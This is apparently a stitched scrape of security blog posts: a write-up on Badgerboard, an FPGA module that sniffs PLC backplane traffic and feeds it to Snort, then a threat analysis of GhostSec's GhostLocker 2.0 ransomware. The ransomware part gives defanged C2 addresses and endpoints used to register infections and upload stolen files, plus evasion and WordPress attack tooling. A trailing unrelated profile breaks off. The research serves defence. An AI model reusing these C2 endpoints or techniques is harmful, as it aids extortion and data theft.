This module is the main interface for the processor backplane sampling. It contains all of the glue logic for the AXI-Lite protocol (courtesy of Xilinx/Vivado). The glue code has been modified to completely disable write functionality to any of the memory-mapped registers (read-only memory space in the processor). This wasn't entirely necessary for optimization, but there is no reason to be able to write to these registers.

This module builds on sample_output and when a single byte has been collected from the backplane it collects that byte and shifts it into a 4-byte buffer and increments a counter. Once that counter, modulo 4 is zero, stores the data in the 4-byte buffer into the register associated with the current offset counter, then the offset counter is incremented. This is used to populate the memory-mapped registers with data from the backplane in real time. The offset counter is reset at the end of every message and it writes to the same buffers every XBus message (starting from offset 0) each register contains four bytes of data from the backplane, except the last register (register 64) which contains the number of registers currently populated (which means to get the length of data, we multiply by four). This module is responsible for populating all of the memory-mapped information to the processor itself so we can use this peripheral from software later.

This module is also responsible for flickering the dataReady_interrupt to the processor so it can begin processing the XBus message. It has to keep track of the length of this flicker and that the flicker (1 clock cycle only) has already occurred for a specific message. This is a solution to a processor configuration (interrupt on level instead of rising edge) you can change this processor configuration which would fix the issue as well, but this is the safest option to reduce error. If you don't have this fix in place, the processor will get caught in an interrupt loop and not send any data at all since it is constantly interrupting itself.

BackplaneReader_AXILite_v1_0

This module is simply a wrapper for all the internal modules and directly wraps BackplaneReader_AXILite_v1_0_S00_AXI, it passes signals directly through and serves no other purpose.

Microblaze System

Once we have developed our IP (that is how it is packaged in Vivado), we can begin to integrate it into a Microblaze processor system. This integration occurs with the AXILite protocol. What this gives us is a peripheral that is directly memory-mapped into the processor's memory space and can be accessed by directly reading memory. This interface gives us the same ease of use as you would expect with a RAM module or an ethernet module in any processor or SOC you normally work with.

Microblaze Configuration

The normal configuration for Microblaze processors was used, the most basic of walkthroughs can be found here. This means we need our clock wizard, which generates 166 MHz, 200 MHz, (both of these are for the memory controller), and 25 MHz (Ethernet reference clock). We also need a memory controller that is responsible for interfacing with the Arty-A7's onboard RAM. Then we add the Microblaze processor which automatically includes the interrupt controller, the processor system reset, the debug module (if requested), local memory for the processor, and an AXI controller (for all of our peripherals). We then need to add the ethernet module, the UART module, an AXI timer, and our backplane reader peripheral.

Once we have added all of our peripherals there are two extremely important steps. We need to connect our BackplaneReader_AXIL peripheral and connect the dataReady_interrupt to our processor interrupt controller. This is done through a Concat block which is how we can add interrupts together for this processor. It is also very important to check the memory map of the processor that was added, as well as the configured Data-cache and Instruction-cache addresses. If you do not check these values, they will cause you endless headaches as you try to boot your processor and nothing works, and no errors are given. When adding a custom peripheral it seems to add it to both the DCache and ICache areas, which makes all instructions un-fetchable, and you don't want this region cached anyway since the data would need to be invalidated constantly (which is slow).

Badgerboard: A PLC backplane network visibility module

This shows the Data-Cache settings we are using:

Badgerboard: A PLC backplane network visibility module

This shows the Instruction-Cache settings we are using:

Badgerboard: A PLC backplane network visibility module

These settings are nothing special for a processor and make perfect sense if you are looking at a memory map, but Vivado gives you no obvious warning that your memory map may be the source of your issues when you can't fetch instructions because your instruction cache is in the wrong location.

Hardware wrap-up

At this point, we can synthesize our specific hardware and move on to the glorious abstraction that is C. There are some things to note here for future implementations and work. This decision to use a Microblaze processor has a lot of baggage with it. The Microblaze processor has some timing requirements that are not so easy to just "increase" and we add a significant overhead to performance versus just implementing a hardware-only (no processor) interface between the backplane reader and the ethernet module, but this is also a lot of Verilog to do this (correctly) and was causing a lot of issues. By adopting the abstraction of the processor, the Microblaze system takes care of all of the requirements for handshakes, packet buffers, receiving, sending, and everything else, but we pay in performance. This is something that may be removed in the future if this moves on to become a real product with the ability to significantly reduce cost by not needing a processor. Either a single FPGA chip or an ASIC could be produced to perform the lifting of XBus to UDP. Alternatively, by adding a higher-speed processor, we could move the processing done externally for the proof of concept, to the onboard processor (say, if we had more threads), to reduce the overall footprint. It is important to keep in mind that most of the design decisions chosen here were for a working proof of concept, and may not be ideal moving forward to a real product.

Software Solution

Programming our new Processor

As we move into the land of C we need to keep in mind that we are programming a bare-metal processor (essentially working with a microcontroller).

The simplicity of main

We have the luxury of working with LWIP (IP stack) to do the heavy lifting with the networking, but not much else is provided, and we are the only task running. As such, we need to do some pretty generic setup.

ip_addr_t ipaddr, netmask, gw;
/* the mac address of the board. this should be unique per board */
unsigned char mac_ethernet_address[] =
{ 0xde, 0xad, 0xbe, 0xef, 0x13, 0x37 };
send_netif = &server_netif;
init_platform();
/* initialize IP addresses to be used */
IP4_ADDR(&ipaddr,  192, 168,   1, 10);
IP4_ADDR(&netmask, 255, 255, 255,  0);
IP4_ADDR(&gw,      192, 168,   1,  1);
lwip_init();
/* Add network interface to the netif_list, and set it as default */
if (!xemac_add(send_netif, &ipaddr, &netmask,
                    &gw, mac_ethernet_address,
                    PLATFORM_EMAC_BASEADDR)) {
    xil_printf("Error adding N/W interface\n\r");
return -1; }
netif_set_default(send_netif);
/* specify that the network if is up */
netif_set_up(send_netif);
/* Set up our global PCB for UDP */
upcb = udp_new();
err_t err;
ip_addr_t remote_addr;
err = inet_aton("192.168.1.255", &remote_addr);
...
err = udp_bind(upcb, &ipaddr, 0);
...
err = udp_connect(upcb, &remote_addr, 13370);
...

Error handling has been trimmed for brevity, but this initialization simply sets up the LWIP stack, defines our MAC and IP addresses, and configures our interface for sending. It also configures where we are sending, which in this case is broadcast over the 192.168.1.X network. This was chosen for the simplicity of configuration during testing and could be changed to a unicast address later.

Once we do our initialization we move on to the import part of the main.

// EXPERIMENTAL: This size could possibly not be enough?
packet = pbuf_alloc(PBUF_TRANSPORT, 0x400, PBUF_RAM);
/* now enable interrupts */
platform_enable_interrupts();
/* receive and process packets */
while (1) {
}

This code is what allows our processor to hang forever processing interrupts, and what also gives us the ability to have zero-copy (at least before LWIP) sending of UDP packets giving us the performance to keep up with the backplane speed. We allocate a single packet buffer of a set size and reuse this buffer every single time we get a packet. This buffer is populated during an interrupt and sent at the same time. Once we enable the interrupts we leave the processor to wait and act on each interrupt and loop forever.

ma..Interrupted

The real magic in this XBus processing is using interrupts to preempt the Microblaze processor when an XBus message is ready to be sent. This is the only way we can guarantee that messages won't be overwritten by the time the processor gets around to sending a message, that we aren't sending duplicates of the same message, and we are trying to send a message while data is being written to the buffer.

During our platform_init() we are setting up interrupts for the processor during operation with a call to platform_setup_interrupts(). This function is responsible for initializing and starting the interrupt controller for the Microblaze processor, and we insert our platform_setup_backplane(intcp) into this initialization.

Within platform_setup_backplane(intcp) all we need to do is register our custom interrupt handler for the interrupt associated with our BackplaneReader_AXIL peripheral. The handler itself is quite simple:

void BackplaneInterruptHandler(void *CallbackRef) {
    // We need to get the size of the buffer so that we can set the pbuf size accurately, this reduces work
    // on the recv end.
    u32 size = BACKPLANEREADER_AXILITE_mReadReg(0x44a00000, 63*4) + 1;
    if (size == 0) {
        return;
}
    // We don't want to copy anything, just grab the memory directly where it is, this significantly reduces
    // time to send the packets.
    packet->payload = (void *) 0x44a00000;
    packet->tot_len = size * sizeof(int);
    packet->len = size * sizeof(int);
    err_t err = udp_send(upcb, packet);
    if (err != ERR_OK) {
        xil_printf("send error", err);
return; }
}

This handler needs to be designed to operate as quickly as possible since the Microblaze processor will preempt itself during an interrupt. This can lead to issues such as memory leaks, and lost data. Originally, this design included pbuf allocation and freeing, but was too slow to complete before the next interrupt came in. This caused a memory leak where the processor would no longer be responsive to new XBus messages that came in.

In this design, no memcpy or allocations are required. We reuse the global pbuf that is allocated in the main and just change the payload pointer as well as the tot_len and len fields. We can get these values by reading the last register within the memory-mapped region of our peripheral, due to our special register that holds the number of memory-mapped registers that are populated for any given message. This allows us the ability to not worry about zeroing registers and also gives us the ability to ignore extra data since we know the exact length.

Once we have the length, we can just populate the proper fields within the UDP pbuf and send the packet, LWIP handles everything else. This allows us to avoid copying the data as well as making execution extremely fast so we don't preempt our code (at least any noticeable amount).

Software wrap-up

There are a few bugs with this approach currently. The largest of which is the truncation of data from the backplane. This only occurs when the message modulo 4 is not equal to zero. This was deemed out of scope for the proof of concept due to a huge portion of the messages being aligned on four-byte boundaries. Additionally, the eight-byte footer of all XBus messages is assumed to be a checksum of some sort, and as such, we will never truncate "important" data for processing currently. This would require an addition to the hardware implementation that would move the data to the proper offset of memory-mapped registers after zeroing out un-unrelated data within the register when you have anywhere from one to three bytes at the end of a message.

XBus backplane traffic analysis 

Data bus exploration 

The first solution to extract data was far from perfect. Using the Saleae, we captured the data on each of the important data pins. Once we captured the data, we exported this to a CSV. This CSV contained the transitions of each line and the time it transitioned. Using this information we could extract the number of bits at each transition and turn it into ASCII data (1 and 0) which we then converted to binary data. This gave us early access into what the data looked like and allowed us an easy way to search for bit patterns and troubleshoot some issues with our capturing of data during the process of finding a real solution. While this works well, it is not a reasonable approach for real-time monitoring or alerting, but it provided us an excellent way to check our work for complex solutions.

More sustainable sniffing

With XBus messages getting pulled off of the backplane and sent across the wire from an FPGA it is now necessary to take that traffic and find a way to get it into Snort. For this PoC (and time), we are extracting UMAS messages contained within XBus, however, future XBus analysis is possible, as all extraction happens post-FPGA. Once UMAS messages have been extracted, a TCP connection containing the traffic is spoofed on Snort's inspection interface, allowing us to leverage all of the detection and alerting capabilities of Snort 3.

Receiving traffic from the FPGA

As the FPGA reads XBus messages off of the backplane it sends that traffic via UDP out over broadcast. These messages will then need to be parsed before we can do anything with them.

Handling high speeds

The FPGA is sending traffic at approximately 1,143 UDP datagrams per second. Unfortunately, this ends up being a bit too fast for Python to handle in a normal recv loop. To solve this we have used the multiprocessing plugin to spin up multiple recv loops and put the results into a shared queue. This seems to help up to about 10 workers, after which an efficiency increase is not noticeable.

Unfortunately, this does not completely fix the problem at high speeds, but it catches enough for a PoC. The remaining problems exist but could be solved with either a more complete hardware solution or a compiled message processor.

Parsing FPGA messages

Traffic coming from the FPGA can arrive in one of two states:

  • One XBus message.
  • A grouping of multiple related XBus messages.

Regardless of the state in which the UDP message arrives, the endianness of the message will need to be swapped. Due to restrictions in place from Microblaze, the message will be sent in four-byte little-endian blocks. To properly interpret the message these must be flipped, as shown below:

Raw UDP Message
------------------------------------------------------
0000   26 84 75 05 f9 05 27 04 00 15 08 36 06 59 0c 0a
0010   00 00 00 1b 00 01 64 08 d9 d9 7f 00 03 00 5a 06
0020   00 a2 11 03
```
```
Endianness-Fixed UDP Message
------------------------------------------------------
0000   05 75 84 26 04 27 05 f9 36 08 15 00 0a 0c 59 06
0010   1b 00 00 00 08 64 01 00 00 7f d9 d9 06 5a 00 03
0020   03 11 a2 00
After this point, any reference to the UDP message will refer to the version that has had its endianness fixed. Patterns are not as easy to see in the raw format.

When UDP traffic from the FPGA arrives containing one single XBus message there is not any additional processing that must be done before moving on to UMAS extraction. In cases where a grouping of XBus messages is contained, they must be split apart before UMAS messages can be extracted from them.

Since we are only demonstrating UMAS via XBus traffic at this time, true analysis on how to split apart arbitrary XBus messages has not been performed. We have instead focused on how to split apart specifically the messages containing UMAS data.

Through analysis, it was determined that the flag b'\x08\x64\x01\x00\x00\x7f appears in the first (and only the first) XBus message of every UMAS message. Fortunately, this flag also does not appear to ever show up in any XBus messages that are not related to UMAS. Using this it is possible to continue processing only the messages containing this flag and discard the rest. Note that since related XBus messages will always come sent as a single UDP message this will not result in loss of the end half of the UMAS message.

An example of a message from the FPGA containing one XBus message that holds one UMAS message will have a payload similar to the following:

Endianness-Fixed UDP Payload
------------------------------------------------------
0000   05 75 84 26 04 27 05 f9 36 08 15 00 0a 0c 59 06
0010   1b 00 00 00 08 64 01 00 00 7f d9 d9 06 5a 00 03
0020   03 11 a2 00

We can extract the UMAS message by parsing this message type:

Field

Size (bytes)

Value

Description

Message Type

0x01

05

A byte appears to indicate the type of message. We do not know much about this byte, however, it is always 0x04 or 0x05.

Unknown

0x09

75 84 26 04 27 05 F9 36 08

Unknown Bytes

XBus Payload Length

0x01

15

A one-byte field indicating the number of bytes in the XBus payload minus the one for this field


In the first XBus part of a UMAS message, this value will contain non-UMAS data whereas in subsequent XBus parts of that same message, the payload will be entirely UMAS data.

Unknown

0x01

00

Unknown byte

SRC

0x01

0A

A byte indicating the source module. We will use this later to create an IP and MAC.

DST

0x01

0C

A byte indicating the destination module. We will use this later to create an IP and MAC.

Unknown

0x06

59 06 1B 00 00 00

Unknown bytes.

UMAS Flag

0x06

08 64 01 00 00 7F

Six bytes that always appear at the first XBus part of a UMAS message and do not appear at any other time.

Unknown

0x03

D9 D9 06

Unknown bytes.

UMAS Message

Variable

5A 00 03

The UMAS message, or the first part of the UMAS message when split across multiple XBus messages.


This size is determined by the 'XBus Payload Length' field.


In this case, we have an 'XBus Payload Length' field of 0x15. That value is made up of the size of this field, plus every preceding field until (but not including) the 'XBus Payload Length' field.


If the UMAS message is split across multiple XBus messages the remaining data will be found in the entire XBus payload of those messages.

Unknown

Variable

03 11 A2 00

Unknown bytes that presumably serve as a footer. Maybe checksums or similar. This size ends up being variable due to some assumptions on the FPGA side and cannot be trusted.

An example of a message from the FPGA containing multiple XBus messages that collectively one UMAS message will have a payload similar to the following:

Endianness-Fixed UDP Payload
------------------------------------------------------
0000        04 05 00 27 04 26 05 ea 98 08 43 00 0c 0a 70 06
0010        1b 00 00 40 08 64 01 00 00 7f d9 d9 06 5a 00 fe
0020        02 0d 00 00 a2 9b 02 00 00 02 04 7c 00 05 ef de
0030        04 05 08 27 04 26 04 f8 94 08 0d 00 00 a2 9b 02
0040        00 00 02 0e 00 0d 0a 03 e4 07 02 0e 08 0c 0a 03
0050        e4 07 02 00 00 00 08 50 72 6f c8 a4 00 17 bf 78
0060        04 55 90 27 04 26 05 bc 86 08 6a 65 63 74 00 43

This will split up into the following XBus messages:

Endianness-Fixed UDP Payload Split on XBus Messages
------------------------------------------------------

XBus Message 1
-------------------------------------------------------
0000        04 05 00 27 04 26 05 ea 98 08 43 00 0c 0a 70 06
0010        1b 00 00 40 08 64 01 00 00 7f d9 d9 06 5a 00 fe
0020        02 0d 00 00 a2 9b 02 00 00 02 04 7c 00 05 ef de

XBus Message 2
-------------------------------------------------------
0000        04 05 08 27 04 26 04 f8 94 08 0d 00 00 a2 9b 02
0010        00 00 02 0e 00 0d 0a 03 e4 07 02 0e 08 0c 0a 03
0020        e4 07 02 00 00 00 08 50 72 6f c8 a4 00 17 bf 78

XBus Message 3
-------------------------------------------------------
0000        04 55 90 27 04 26 05 bc 86 08 6a 65 63 74 00 43

In this case, XBus Message 1 will be parsed the same way as the single message. XBus Message 2 will use the entirety of the XBus Payload section to contain UMAS message data. XBus Message 3 will follow the same header as the previous two, however, it will only contain as many bytes as are remaining according to the XBus Payload Length field, followed by an untrusted-length footer.

Once in this state, the messages can be passed along for UMAS extraction.

Extracting UMAS from XBus

Once a grouping of XBus messages containing a single UMAS message has been isolated it is possible to extract the complete UMAS message. If there is only one XBus message, the UMAS message can be extracted from the UMAS Message field documented above. This becomes more complicated when dealing with multiple XBus messages.

Using the grouped example from above, we start with the following XBus messages.

Endianness-Fixed UDP Payload Split on XBus Messages
------------------------------------------------------

XBus Message 1
-------------------------------------------------------
0000        04 05 00 27 04 26 05 ea 98 08 43 00 0c 0a 70 06
0010        1b 00 00 40 08 64 01 00 00 7f d9 d9 06 5a 00 fe
0020        02 0d 00 00 a2 9b 02 00 00 02 04 7c 00 05 ef de

XBus Message 2
-------------------------------------------------------
0000        04 05 08 27 04 26 04 f8 94 08 0d 00 00 a2 9b 02
0010        00 00 02 0e 00 0d 0a 03 e4 07 02 0e 08 0c 0a 03
0020        e4 07 02 00 00 00 08 50 72 6f c8 a4 00 17 bf 78

XBus Message 3
-------------------------------------------------------
0000        04 55 90 27 04 26 05 bc 86 08 6a 65 63 74 00 43

These messages can then be broken apart into their known fields. Keep in mind that some of the documented fields do not show up in messages other than the first.

Badgerboard: A PLC backplane network visibility module

After visualizing the layout, it becomes easier to calculate the location of the desired UMAS message part using the following assumptions:

  • The first XBus message will always contain the UMAS flag.
  • The length field will always be at offset 0x0A in the first XBus message.
  • The value in the length field will always contain the total size of the UMAS message, plus 0x12 bytes for non-umas XBus payload information in the first packet.
  • The maximum size of any given UMAS-related XBus packet is 0x30 bytes with 0x20 reserved for the XBus payload.
  • The footer field on the last XBus message cannot be trusted.

When properly extracted, we will be left with a UMAS message similar to the following:

00000000: 5a00 fe02 0d00 00a2 9b02 0000 020d 0000  Z...............
00000010: a29b 0200 0002 0e00 0d0a 03e4 0702 0e08  ................
00000020: 0c0a 03e4 0702 0000 0008 5072 6f6a 6563  ..........Project.
00000030: 7400                                 

Spoofing a connection

With a properly formatted UMAS message now in hand, a method of getting that traffic into Snort is needed. Our quick solution to this was to create a TCP stream containing this traffic across an interface on which Snort was listening. Since we don't need to send the message anywhere, we only need to make Snort think we did, we can use Scapy to craft the entire conversation.

Unfortunately, we do not have actual addresses for the source or destination, only single-byte identifiers. Since we would like to retain this information, we use that value as the last byte of a MAC address for the device (DE:AD:BE:EF:00:XX) and the last octet of an IP address (192.168.0.XXX).

By sending this traffic out over loopback while having Snort listen on the same interface it is possible to get Snort to process the traffic.

It should be noted that there are much better ways of getting Snort 3 to ingest this data, which should be used in a true implementation, however, the development of that functionality was out of the scope of this project.

Traffic detection in Snort 3

Since this connection results in standard Ethernet traffic, nothing special is required to get that information into Snort3, simply attach a snort sensor to the relevant interface, as discussed in the Snort3 documentation.  

Caveat

The approach taken here to get Snort to ingest XBus traffic was chosen due to time constraints with the project. Much more efficient ways exist to get this type of traffic into Snort and properly decoded, however, the time involved in doing so was deemed out-of-scope. 

Proof of Concept

0:00
/2:15

Impact

The inability of security teams to properly monitor all traffic crossing the backplane is a problem in today’s OT networks. Proprietary protocols that were once obscured from view are now being brought to light and decoded with modern tooling. Since these protocols are often capable of making critical changes to the devices that they speak to, more focus is being put on them by malicious actors and legitimate operators alike. Without the ability to see everything going on on the backplane networks, operators are leaving their monitoring tools like Snort3 blind to potential attacks.

Security vendors can’t solve this problem on their own. While groups like Cisco are capable of building the hardware to perform this type of monitoring, the impact to customer warranties introduced by plugging in a third-party module cannot be ignored. For monitoring of this type to truly become an option, consumer demand must drive the conversation. PLC vendors have both the capability and the product expertise to create products that accomplish what Badgerboard set out to do; they just need to be pushed by their customers. 

Resources

GhostSec’s joint ransomware operation and evolution of their arsenal

  • Cisco Talos observed a surge in GhostSec, a hacking group’s malicious activities since this past year.
  • GhostSec has evolved with a new GhostLocker 2.0 ransomware, a Golang variant of the GhostLocker ransomware.
  • The GhostSec and Stormous ransomware groups are jointly conducting double extortion ransomware attacks on various business verticals in multiple countries. 
  • GhostLocker and Stormous ransomware have started a new ransomware-as-a-service (RaaS) program STMX_GhostLocker, providing various options for their affiliates. 
  • Talos also discovered two new tools in GhostSec arsenal, the “GhostSec Deep Scan tool” and “GhostPresser,” both likely being used in the attacks against websites.

Victimology of ransomware attacks

GhostSec’s joint ransomware operation and evolution of their arsenal

Talos observed the GhostSec and Stormous ransomware groups operating together to conduct several double extortion attacks using the GhostLocker and StormousX ransomware programs against the victims in Cuba, Argentina, Poland, China, Lebanon, Israel, Uzbekistan, India, South Africa, Brazil, Morocco, Qatar, Turkiye, Egypt, Vietnam, Thailand and Indonesia according to our assessment of the disclosure messages posted by the group in their Telegram channels and Stormous ransomware data leak site.  

GhostSec’s joint ransomware operation and evolution of their arsenal

The collaborative operation affected victims across various business verticals, according to disclosures made by the groups in their Telegram channels.

GhostSec’s joint ransomware operation and evolution of their arsenal

Talos’ observation in GhostSec’s Telegram channels highlighted the group’s continued attacks on Israel’s Industrial systems, critical infrastructure and technology companies. On Nov. 12, 2023, they claimed that the affected organizations also included the Ministry of Defense in Israel.

GhostSec’s joint ransomware operation and evolution of their arsenal
Example of GhostSec’s Telegram chat message.

GhostSec has remained active since this past year

GhostSec is a hacker group that claims to be one of a modern-day Five Families group that includes ThreatSec, Stormous, Blackforums and SiegedSec on their Telegram channels. GhostSec is financially motivated, conducting single and double extortion attacks on victims across various geographies. They have also conducted several denial-of-service (DoS) attacks and have taken down victims’ websites, according to their Telegram channel messages. Their claims also showed us that their primary focus is raising funds for hacktivists and threat actors through their cybercriminal activities. 

The actor’s name, GhostSec, resembles the well-known hacktivist Ghost Security Group, primarily focusing on counterterrorism efforts and targeting pro-ISIS websites. The Ghost Security Group mentioned in their blog that another hacking group mimics their identity. 

GhostSec’s joint ransomware operation and evolution of their arsenal

In October 2023, GhostSec announced a new ransomware-as-a-service (RaaS) framework called GhostLocker. After their successful collaborative operations with the Stormous ransomware group in July 2023 against Cuban ministries, on Oct. 14, 2023, the Stormous gang announced that they would use the GhostLocker ransomware program in addition to their StormousX program. 

GhostSec’s joint ransomware operation and evolution of their arsenal
Stormous ransomware Telegram chat message.

Since then, the GhostSec and Stormous ransomware groups have jointly conducted double extortion ransomware attacks targeting victims across various business verticals in multiple countries. Along with the ransomware attacks, GhostSec seemed to be conducting attacks against corporate websites, including a national railway operator in Indonesia and one of Canada’s leading energy companies. They have likely leveraged their GhostPresser tool along with the cross-site scripting attack technique to compromise the websites. 

On Feb. 24, 2024, Stormous group mentioned on “The Five Families” Telegram channel that they have started their new ransomware-as-a-service (RaaS) program “STMX_GhostLocker” along with their partners in GhostSec. The new program is made up of three categories of services for the affiliates: paid, free, and another for the individuals without a program who only want to sell or publish data on their blog (PYV service). 

GhostSec’s joint ransomware operation and evolution of their arsenal

The group has shared their working model flow diagrams for member and non-member affiliates on their Telegram channels.

GhostSec’s joint ransomware operation and evolution of their arsenal
Stmx_GhostLocker member affiliate working model.
GhostSec’s joint ransomware operation and evolution of their arsenal
Stmx_GhostLocker non-member affiliate working model.

Stormous ransomware and GhostSec have rebuilt the new official blog of their RAAS program Stmx_GhostLocker on the TOR network, with features for the affiliates to join their program and disclose their victim’s data. Their blog dashboard shows the count of victims and disclosures of victims’ information with a link to their leaked data. They also display the largest ransom as $500,000 USD — we are not sure if that is the highest ransom payment they have received. 

GhostSec’s joint ransomware operation and evolution of their arsenal
Redacted picture of Stmx_GhostLocker blog. 

Evolution of GhostLocker 2.0 ransomware 

In November 2023, GhostSec announced a newer version of their GhostLocker ransomware called GhostLocker 2.0. Recently we observed that they have again started advertising their latest Golang version “GhostLocker 2.0” by calling it “GhostLocker V2” and mentioning their ongoing work on the GhostLocker V3, indicating their continuous evolution in developing their toolset. 

GhostSec’s joint ransomware operation and evolution of their arsenal

GhostSec’s joint ransomware operation and evolution of their arsenal

GhostLocker 2.0 encrypts the files on the victim’s machine using the file extension “.ghost” and drops and opens a ransom note. The ransom note has changed from its previous version, where the operator tells users to secure the encryption ID displayed in the ransom note and share it with them in their chat service during the negotiation by clicking “Click me.” The operator also mentions that the victim’s stolen data will be disclosed if they fail to contact them in seven days. 

GhostSec’s joint ransomware operation and evolution of their arsenal

GhostSec’s joint ransomware operation and evolution of their arsenal

Ransom Note of GhostLocker (left) and ransom Note of GhostLocker 2.0 (right).

The GhostLocker RAAS has a C2 panel where the affiliates can get an overview of their attacks and gains. When deployed on the victim’s machine, the ransomware binaries will register to the C2 panel, and the affiliates can track the encryption status on the victim’s machine. Talos discovered the GhostLocker 2.0 C2 server with the IP address 94[.]103[.]91[.]246 located in Moscow, Russia. We observed that the geolocation of the C2 server is similar to that of the C2 servers of earlier versions of the GhostLocker ransomware that security researchers at Uptycs reported. 

GhostSec’s joint ransomware operation and evolution of their arsenal

GhostSec’s joint ransomware operation and evolution of their arsenal

GhostLocker C2 panels.

GhostLocker RAAS provides its affiliates with the ransomware builder, which contains configuration options, including the mode of persistence that the ransomware binary can establish after being successfully run on the victim machine, target directories to encrypt, and techniques to evade the detections, such as killing the defined processes or services or running the arbitrary command to kill the scheduled task or bypass the User Account Controls (UAC). 

GhostSec’s joint ransomware operation and evolution of their arsenal
GhostLocker 2.0 ransomware builder panel.

Talos discovered the new variant of GhostLocker ransomware, “GhostLocker 2.0” in the wild on Nov. 15, 2023. The majority of the ransomware functionality of GhostLocker 2.0 remains the same as that of its earlier version GhostLocker, which was written in Python, excluding the watchdog component that the operator had used in earlier versions to start the dropped ransomware binary from the victim’s machine Windows Startup location and the AES encryption key length of 256 bits with that of 128 bits in the earlier version. 

During the initial execution, GhostLocker 2.0 copies itself to the Windows Startup folder to establish persistence. It also generates a random string of 32 bytes and uses the generated string as the filename for its dropped copy in the Windows Startup folder. 

GhostSec’s joint ransomware operation and evolution of their arsenal

After establishing the persistence, the ransomware establishes the connection to the C2 server through the URL hxxp[://]94[.]103[.]91[.]246[/]incrementLaunch.

GhostSec’s joint ransomware operation and evolution of their arsenal
A function that initiates the connection to C2.

After establishing a successful connection with the C2 server, the ransomware generates the secret key and the encryption ID and gathers the victim’s IP address, infection date and other information from its configuration parameters, including encryption status, ransom amount and a victim identifier string, to create a JSON file in the victim’s machine memory.

GhostSec’s joint ransomware operation and evolution of their arsenal
JSON file generated in the machine’s memory.

The generated JSON file is sent to the C2 server through the URL hxxp[://]94[.]103[.]91[.]246[/]addInfection to register the victim’s machine infection in the C2 panel.

GhostSec’s joint ransomware operation and evolution of their arsenal
Function to register the infection to the C2 by sending the JSON file.

After registering the victim’s machine infection with the C2 panel, the ransomware attempts to terminate the defined processes or services or Windows scheduled tasks from its configuration parameters in the victim’s machine to evade detection. 

GhostSec’s joint ransomware operation and evolution of their arsenal
Functions to stop Windows scheduled tasks. 

GhostLocker 2.0 searches for the target files on the victim’s machine according to the file extension list defined by the threat actor, and before the encryption routine starts, it will upload the target files to the C2 server through the URL “hxxp[://]94[.]103[.]91[.]246[/]upload” using HTTP post method. In the GhostLocker 2.0 sample we analyzed, the actor has configured the ransomware to exfiltrate and encrypt the files that have file extensions .doc, .docx, .xls and .xlsx. 

GhostSec’s joint ransomware operation and evolution of their arsenal
Function to exfiltrate the target files to the C2 server. 

After successfully exfiltrating, GhostLocker 2.0 encrypts the targeted files and appends “.ghost” as the file extension for the encrypted files. During the encryption process, GhostLocker 2.0 skips the “C:\Windows” folder. After completing the encryption routine, the ransomware drops the embedded ransom note to an HTML file with the filename “Ransomnote.html” on the victim’s desktop and launches it using the Windows `Start` command. 

GhostSec’s joint ransomware operation and evolution of their arsenal
A function that drops and opens ransom notes.

Other tools likely used to scan and compromise websites 

Talos’ research uncovered two new tools in GhostSec’s arsenal that the hacking group claimed to have used in compromising legitimate websites. One of them is the “GhostSec Deep Scan toolset” to scan legitimate websites recursively, and another is a hack tool to perform cross-site scripting (XSS) attacks called “GhostPresser.”

GhostSec Deep Scan Tool

The GhostSec deep scan toolset is a Python utility that an attacker can use to scan the websites of their potential targets. 

GhostSec’s joint ransomware operation and evolution of their arsenal

The tool has several modules to perform the following scans on the targeted websites:

  • Perform a user-specific search. 
  • Scans multiple websites.
  • Extract the hyperlinks on the website. 
  • Performs a deep scan and analyzes the technologies used to build the web page.
  • Scans the security protocols to detect the SSL/TLS and HSTS (HTTP Strict Transport Security).
  • Perform the website content analysis and extract the contents to a file.
  • Performs a WhoIs lookup.
  • Checks for the existence of any broken links in the website.

The tool also contains placeholders to perform specific functions including SSL analysis, DNS lookup, checks for robots.txt and sitemap.xml, CVE scans on the targeted website, and an advanced search based on the file type, date range and the custom criteria of the websites, indicating the GhostSec’s continuous evolution of tools in their arsenal. 

One of the modules that stood out to us is the `deep_scan` function that the actor has defined to parse and scrape information from the targeted web pages and assess the technologies used in the web page. It is done by using the Python libraries Beautiful Soup, a Python package used for parsing data out of HTML and XML files, and the BuiltWith Python library, a Python package used to detect the technology used by a website, such as Apache, JQuery and WordPress. 

GhostSec’s joint ransomware operation and evolution of their arsenal
A function to parse and identify the technology used in the webpage.

GhostPresser: A WordPress hack tool 

GhostPresser, an admin bypass and hacking tool targeting the WordPress content management system, is a shell script that GhostSec claims to have used in an XSS attack against a legitimate website in Canada. The tool appears to be under enhancement process as we spotted several placeholders in the tool to include functionalities to perform audits on the targeted websites. We are not sure at this moment about what type of audits the threat actor intends to implement in their tool. 

GhostSec’s joint ransomware operation and evolution of their arsenal
GhostPresser tool.

A threat actor can achieve the following actions after successfully injecting the GhostPresser into a targeted website on WordPress. 

  • Bypass logins and perform actions such as test cookies. 
  • Activate and deactivate a plugin. 
  • Change WordPress settings.
  • Create a new user. 
  • Update WordPress core information. 
  • Functions to install a new theme.

Below is an example of the function in the GhostPresser to install new themes in WordPress.

GhostSec’s joint ransomware operation and evolution of their arsenal
Function to install new WordPress theme.

Coverage

GhostSec’s joint ransomware operation and evolution of their arsenal

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat are 62983-62989, and 300818-300820. 

ClamAV detections are also available for this threat:

Win.Ransomware.GhostSec-10020906-0

Indicators of Compromise

Indicators of Compromise associated with this threat can be found here.

Heather Couk is here to keep your spirits up during a cyber emergency, even if it takes the “Rocky” music

Heather Couk is here to keep your spirits up during a cyber emergency, even if it takes the “Rocky” music

“Gotta Fly Now” is more closely associated with corporate hype videos or conferences with thousands of attendees in a mid-market city’s convention center than it is from its origins in the “Rocky” movies. 

